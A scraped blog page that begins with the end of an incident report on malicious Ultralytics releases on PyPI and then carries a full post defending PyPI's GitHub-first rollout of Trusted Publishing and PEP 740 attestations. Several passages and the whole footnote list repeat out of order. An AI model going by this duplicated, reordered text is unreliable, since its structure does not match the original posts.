Publisher, and therefore has no attestations. This strongly suggests that the attacker either obtained a PyPI API token from the original secrets exfiltration phase or is in full control pypi/u/glenn-jocher . 2024-12-07 02:27:14: v8.3.46 is directly released to PyPI, with no CI/CD or repository activity from ultralytics/ultralytics . Like with v8.3.45, this release is done via API token and has no attestation. 2024-12-07 04:00: Adnan Khan announces on #18027 that v8.3.45 and v8.3.46 are still malcious, albiet with a different (simpler) miner payload. 2024-12-07 10:08:32: v8.3.45 is removed from PyPI (approx. 8 hours after introduction). 2024-12-07 10:09:08: v8.3.46 is removed from PyPI (approx. 7.5 hours after introduction). A total of 4 different releases of Ultralytics were malicious: v8.3.41, v8.3.42, v8.3.45, and v8.3.46. Of these releases, two were made via GitHub Actions and used Trusted Publishing + attestations, and two were made via an API token that the attacker likely either exfiltrated from a developer’s machine or from the GitHub Actions context (where it may have been forgotten about after Trusted Publishing was enabled). All evidence strongly suggests that the attacker was able to fully exfiltrate all of the configured repository secrets within ultralytics/ultralytics . As such, the Ultralytics maintains must consider these credentials compromised and revoke them immediately to avoid further compromise . The failure to immediately revoke a stale API token may have been what enabled the follow-on direct releases of v8.3.45 and v8.3.46. In particular, in addition to any PyPI API tokens, the attacker may have access to a custom GitHub PAT configured as in the Ultralytics CI. This must be considered compromised and revoked immediately. All evidence strongly suggests that the attacker was in full control of the @UltralyticsAssistant bot account, and may still have control over it . The basic vulnerability that enabled this attack has been present in since 2024-08-24 and was reintroduced after a previous disclosure. This strongly suggests a lack of adequate security controls and reviews within Ultralytics’ processes. The release has been deleted and can no longer be resolved, but the malicious distribution is still available on PyPI’s storage: (replace with ). ↩

Shell

0 views

ENOSUCHBLOG 1 years ago

Security means securing people where they are

Standard disclaimer : These are my personal opinions, not the opinions of my employer, PyPI, or any open source I projects I participate in (either for funsies or because I’m paid to). In particular, nothing I write below can be interpreted to imply ( or imply the negation of) similar opinions by any of the above, except where explicitly stated. TL;DR: If you don’t bother to read the rest of the post, here is the gloss: being serious about security at scale means meeting users where they are . In practice, this means deciding how to divide a limited pool of engineering resources such that the largest demographic of users benefits from a security initiative. This results in a fundamental bias towards institutional and pre-existing services, since the average user belongs to these institutional services and does not personally particularly care about security. Participants in open source can and should work to counteract this institutional bias, but doing so as a matter of ideological purity undermines our shared security interests. I was sniped into writing encouraged to write this by Seth Larson , following voluminous public discourse about PEP 740 and its recently announced implementation on PyPI. Many people were concerned about decisions that went into the implementation of PEP 740 on PyPI, and expressed these these concerns in a wide variety of ways. A sampling of shpilkes, from “eminently reasonable” to “unhinged”: A sub-variant of this criticism is “intentional,” i.e. “attestations are intended to cause lock-in” versus “double-effect,” i.e. “there’s a risk of vendor dependence, but the goal itself is building out a new security feature for the ecosystem.” The former is in effect a way of accusing the people who did this work of having evil motives, while the latter is a reasonable expression that the feature didn’t sufficiently consider vendor dependency. These concerns range from containing reasonable (and concerning!) inferences to being nakedly factually incorrect. In the interest of establishing a factual baseline, here’s my list of priors: Trusted Publishing is not limited to GitHub . A persistent form of misinformation around PyPI’s support for attestations stems from misinformation about Trusted Publishing, as the layer beneath it. When Trusted Publishing was originally released on PyPI, it originally only supported GitHub. Other providers ( GitLab , Google Cloud , ActiveState 2 ) came a few months later, but are now fully supported as Trusted Publishing providers. The reason for this approach (GitHub first, then others) had nothing to do with a sinister Microsoft plot (as was insinuated then), but instead came from the exact same reasoning that will be elaborated in this post: the largest demographic that stood to immediately benefit from Trusted Publishing’s usability and security benefits was on GitHub, so they were targeted first. Trusted Publishing and PEP 740 are built on open standards . More precisely, both are built on top of OpenID Connect , which allows independent services to federate with each other via claims that are signed with public-key cryptography. This underlying technical choice is what made onboarding GitLab, &c., relatively easy: there was no vendor or otherwise closed dependency that needed to be removed or replaced. This remains true to this day. Adding a new Trusted Publisher and/or attestation source is not hard, but also not trivial. Adding a new Trusted Publishing provider is not as trivial as adding a well-known OIDC discovery URL to PyPI’s codebase: each new provider needs to be reviewed for claim contents, to ensure that the provider’s principals can be distinguished from each other in a way that PyPI can model. In other words: it would be catastrophic for PyPI to support an OIDC IdP that can’t distinguish between its users, or permitted claim malleability such that users could impersonate each other. Ensuring that each accepted IdP meets these conditions requires a nontrivial time commitment that gets balanced against the expected real-world usage of a given IdP: an IdP with one-to-few users is not worth the tradeoff in review time. Not everything makes sense as a Trusted Publisher/attestation provider . As a corollary to the point above: it doesn’t make sense (for either PyPI, or individual project maintainers) to attempt to do all package uploading via Trusted Publishing. OIDC fundamentally benefits from scale, and it doesn’t make sense (in terms of operational complexity 3 and diminished rewards 4 ) for every individual maintainer to run their own OIDC IdP. Neither Trusted Publishing nor PEP 740 increases trust in an already-used CI/CD provider. This one can be a little unintuitive, but it follows from existing workflows: if you were already using GitHub/GitLab/&c. to publish with a plain old API token, then you were already trusting your CI/CD provider to securely store that credential (and only use it when you want it used). In a broader sense, Trusted Publishing and PEP 740 reduce unnecessary trust in the CI/CD provider, since they force the provider to make a publicly auditable and verifiable claim in order to receive a temporary API token. This is the baseline, as I see it. Now let’s talk a bit about why PyPI’s initial attestations rollout focused on GitHub (like what happened with Trusted Publishing), and why it was (1) not a conspiracy, and (2) the strategic thing to do . I’ll then end with some thoughts on how we can better address the unfair social pressure case. And they shouldn’t have to care. This is the hard truth beneath everything else: most open source maintainers are not security experts (they’re experts in other things , like the projects they maintain), and they don’t want to become security experts. Security is a hump that people get over while attempting to achieve their actual goals. At the same time, expectations change over time: MFA was a relative rarity a decade ago, and is now mandatory across a wide swath of popular OSS-adjacent services (or mandatory for demographic subsets, such as “critical” package maintainers on NPM and RubyGems). This sets up a fundamental tension : most maintainers want to just keep doing whatever has always worked, while security is a moving target that sometimes requires universal change. There aren’t many ways to eliminate this tension, but there are (at least) two ways to ameliorate it: For the Python ecosystem, in 2024, that service is overwhelmingly GitHub. The history of open source on the public internet has long favored a small and stable (but not static), group of watering holes at which the overwhelming majority of projects concentrate. Past watering holes include SourceForge and Google Code , along with specialized project hosts like Savannah . Today, that watering hole is GitHub. Using last week’s dump : Of the 447,148 packages that have URLs 7 , a full 378,613 list in their metadata. That’s 84.7% of all projects that list URLs in their metadata. By contrast, here are the next 10 most popular hosts: The drop-off is stark: GitLab is #2, but with only 1.99% of all projects 8 . This tells an important baseline story: if PyPI builds a security feature that needs to interoperate with source forges or CI/CD providers, then the overwhelming majority of its packages can be best served by starting with GitHub. That doesn’t mean that PyPI should stop with just GitHub, or GitHub plus GitLab, or anything else of the sort. It just tells us where the starting point should be . This finally gets us to the point of this post: The conclusion: if a new feature needs to interact with services outside of PyPI itself, then the purely practical course to take is to start with the services that will yield the most immediate benefit to the Python community. A recurring strain of thought in conversations around PEP 740 (and centralized infrastructure more generally) is whether the ethics of open source impute a similar ethic 9 of independence and decentralization. Or in other words: does PyPI (or OSS more generally) have a responsibility to try and avoid corporate-associated integrations? I would argue no : PyPI’s primary responsibility is to the community that uses it, both upstream and downstream, and that community is best served by using open standards to interoperate with the services the community overwhelmingly uses . This does not however imply that PyPI should ignore smaller opportunities for integration, such as adding Trusted Publishing providers for independent GitLab hosts with large user bases, or Codeberg instances, or anything else. On the contrary: I would like to see PyPI integrate more of these as Trusted Publishing providers, provided that the usage statistics and operational complexity for each actually benefit the community as a whole. Enrolling a few thousand projects on a single self-hosted forge would be great; having to review dozens of forges with under a dozen users would not be. I would like to see a similar thing occur for attestations. In sum: PyPI shouldn’t (and doesn’t) pick winners, but it should (and does) pick battles to fight and the order in which it fights them . There’s a flip side to all of this: despite effusive attempts to emphasize that attestations are not a “trusted bit” and that consumers shouldn’t treat them as a signal of package quality or security, we are almost certainly going to see people (and companies 10 ) do exactly that. In practice, that means that maintainers who do everything right but not in a way that’s currently legible to the attestations feature are going to receive annoying emails, issues, &c. asking them why they’re “less secure” 11 than other packages. In the medium term, I think the way to address this is to: Those two, combined, should address the overwhelming majority of the remainder : people who can’t (or simply don’t want to) use Trusted Publishing, and those who do but can’t yet. I’ll be working on those. At this point, I consider “let’s bring back PGP” to be an unserious contribution to the conversation. The rest of the post assumes that something resembling identity-based signing is going to be way forwards. ↩ …and almost certainly more to come in the future. ↩ Maintaining an OIDC IdP is a PKI-shaped problem: to be done responsibly, it requires offline keys, on-call staff and rotation schedules, as well as incident response capacity and the ability to run fire drills to keep operational processes (such as emergency key rotations) from bitrotting. It would be horrifically onerous to impose these requirements on every single unpaid open source maintainer. ↩ At small scales, there’s virtually no difference between Trusted Publishing and plain old API tokens: running an OIDC IdP means maintaining (and rotating) a different but equally valuable set of credentials. The numbers only come out in Trusted Publishing’s favor at large scales: 100, 1000, or more independent projects per IdP. ↩ Where “you” is my security brethren, even the misguided PGP ones. ↩ From personal experience, and from talking to literally every other maintainer I know . ↩ This excludes packages with no URLs in their metadata at all, which is about 21% of all packages (based on the dump listing 566,404 packages total). A large part of this is probably packages that predate free-form URLs in the standard metadata, but even at a fractional linear extrapolation GitHub-hosted projects remain the overwhelming majority. ↩ Which, to be clear, is still a significant number, and a strong datapoint for GitLab being a Trusted Publishing provider! ↩ Which exact ethic is hard to pin down: there’s a lot of general bellyaching whenever PyPI (or any other packaging ecosystem) interoperates with anything that has a company behind it (even if via an open standard), but it’s hard to infer any particular or consistent ideology beneath that. ↩ And especially “supply chain” companies, which continue to demonstrate a marked lack of shame around spamming the Python community. ↩ They’re not. ↩ PyPI’s sourcing of attestations from large IdPs like GitHub will result in unfair social pressure on projects that do everything right but on their own infrastructure , which includes major OSS projects that run their own Jenkins, private CI/CD, &c. PyPI’s decision to enable GitHub-based attestations before others is effectively a form of vendor bias , and encourages the OSS community to deepen its dependency on GitHub. A sub-variant of this criticism is “intentional,” i.e. “attestations are intended to cause lock-in” versus “double-effect,” i.e. “there’s a risk of vendor dependence, but the goal itself is building out a new security feature for the ecosystem.” The former is in effect a way of accusing the people who did this work of having evil motives, while the latter is a reasonable expression that the feature didn’t sufficiently consider vendor dependency. Attestations are just plain bad™ and PyPI should go back to (weakly) tolerating long-lived PGP signing keys since, despite all evidence to the contrary , people swear that these signatures are being verified and form a security boundary somewhere 1 . PyPI has been captured by the Micro$oft/NSA/Unit 8200 and has developed attestations to complete this year’s . Trusted Publishing is not limited to GitHub . A persistent form of misinformation around PyPI’s support for attestations stems from misinformation about Trusted Publishing, as the layer beneath it. When Trusted Publishing was originally released on PyPI, it originally only supported GitHub. Other providers ( GitLab , Google Cloud , ActiveState 2 ) came a few months later, but are now fully supported as Trusted Publishing providers. The reason for this approach (GitHub first, then others) had nothing to do with a sinister Microsoft plot (as was insinuated then), but instead came from the exact same reasoning that will be elaborated in this post: the largest demographic that stood to immediately benefit from Trusted Publishing’s usability and security benefits was on GitHub, so they were targeted first. Trusted Publishing and PEP 740 are built on open standards . More precisely, both are built on top of OpenID Connect , which allows independent services to federate with each other via claims that are signed with public-key cryptography. This underlying technical choice is what made onboarding GitLab, &c., relatively easy: there was no vendor or otherwise closed dependency that needed to be removed or replaced. This remains true to this day. Adding a new Trusted Publisher and/or attestation source is not hard, but also not trivial. Adding a new Trusted Publishing provider is not as trivial as adding a well-known OIDC discovery URL to PyPI’s codebase: each new provider needs to be reviewed for claim contents, to ensure that the provider’s principals can be distinguished from each other in a way that PyPI can model. In other words: it would be catastrophic for PyPI to support an OIDC IdP that can’t distinguish between its users, or permitted claim malleability such that users could impersonate each other. Ensuring that each accepted IdP meets these conditions requires a nontrivial time commitment that gets balanced against the expected real-world usage of a given IdP: an IdP with one-to-few users is not worth the tradeoff in review time. Not everything makes sense as a Trusted Publisher/attestation provider . As a corollary to the point above: it doesn’t make sense (for either PyPI, or individual project maintainers) to attempt to do all package uploading via Trusted Publishing. OIDC fundamentally benefits from scale, and it doesn’t make sense (in terms of operational complexity 3 and diminished rewards 4 ) for every individual maintainer to run their own OIDC IdP. Neither Trusted Publishing nor PEP 740 increases trust in an already-used CI/CD provider. This one can be a little unintuitive, but it follows from existing workflows: if you were already using GitHub/GitLab/&c. to publish with a plain old API token, then you were already trusting your CI/CD provider to securely store that credential (and only use it when you want it used). In a broader sense, Trusted Publishing and PEP 740 reduce unnecessary trust in the CI/CD provider, since they force the provider to make a publicly auditable and verifiable claim in order to receive a temporary API token. Make security features into usability features. This was one of the core objectives behind Trusted Publishing’s design: users found the experience of context-switching between PyPI and their CI/CD frustrating, so we found a way to eliminate those context switches while improving the security of the credentials involved. Delegate some (if not all) responsibility for security to services. The reasoning behind this is intuitive: big services have both the staff and the financial incentive to maintain a strong default security posture, as well as keep up with the latest changes in baseline security expectations. This, too, has a usability angle: it’s just plain easier 6 to maintain a project when an external service hums along and provides source control, CI/CD, release management, &c. for you. Most maintainers (reasonably!) don’t especially care about security and, as a corollary, have selected infrastructure and services that compartmentalize most of the boring, operational aspects of open source security (like maintaining a set of trusted committers and a secure CI/CD); GitHub is overwhelmingly the target of that selection process. Support email identities for attestations, since PyPI already has a notion of “verified” email to cross-check attestations against. Continue to widen the number of Trusted Publishing providers and enable attestation support for each, within reason. At this point, I consider “let’s bring back PGP” to be an unserious contribution to the conversation. The rest of the post assumes that something resembling identity-based signing is going to be way forwards. ↩ …and almost certainly more to come in the future. ↩ Maintaining an OIDC IdP is a PKI-shaped problem: to be done responsibly, it requires offline keys, on-call staff and rotation schedules, as well as incident response capacity and the ability to run fire drills to keep operational processes (such as emergency key rotations) from bitrotting. It would be horrifically onerous to impose these requirements on every single unpaid open source maintainer. ↩ At small scales, there’s virtually no difference between Trusted Publishing and plain old API tokens: running an OIDC IdP means maintaining (and rotating) a different but equally valuable set of credentials. The numbers only come out in Trusted Publishing’s favor at large scales: 100, 1000, or more independent projects per IdP. ↩ Where “you” is my security brethren, even the misguided PGP ones. ↩ From personal experience, and from talking to literally every other maintainer I know . ↩ This excludes packages with no URLs in their metadata at all, which is about 21% of all packages (based on the dump listing 566,404 packages total). A large part of this is probably packages that predate free-form URLs in the standard metadata, but even at a fractional linear extrapolation GitHub-hosted projects remain the overwhelming majority. ↩ Which, to be clear, is still a significant number, and a strong datapoint for GitLab being a Trusted Publishing provider! ↩ Which exact ethic is hard to pin down: there’s a lot of general bellyaching whenever PyPI (or any other packaging ecosystem) interoperates with anything that has a company behind it (even if via an open standard), but it’s hard to infer any particular or consistent ideology beneath that. ↩ And especially “supply chain” companies, which continue to demonstrate a marked lack of shame around spamming the Python community. ↩ They’re not. ↩